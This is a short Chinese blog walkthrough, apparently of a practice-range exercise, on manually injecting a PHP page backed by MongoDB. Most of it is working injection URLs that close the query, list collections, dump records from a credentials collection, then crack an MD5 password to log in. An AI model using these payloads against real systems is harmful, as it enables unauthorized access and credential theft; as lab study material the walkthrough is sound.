SQL手工注入漏洞測試(MongoDB資料庫)
阿新 • • 發佈:2019-02-09
# 檢視是否有注入點
http://ip/new_list.php?id=1'
# 想辦法閉合語句,檢視所有集合
# db.getCollectionNames()返回的是陣列,需要用tojson轉換為字串。並且mongodb函式區分大小寫
http://ip/new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),2:'1
類似語句:
select SCHEMA_NAME from information_schema.SCHEMATA
# 檢視Authority_confidential集合的第一條資料
http://ip/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),2:'1
類似語句:
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='Authority_confidential'
# 檢視Authority_confidential集合的第二條資料
http://ip/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[1]),2:'1
得到使用者名稱密碼,密碼用md5解密
登陸,獲得key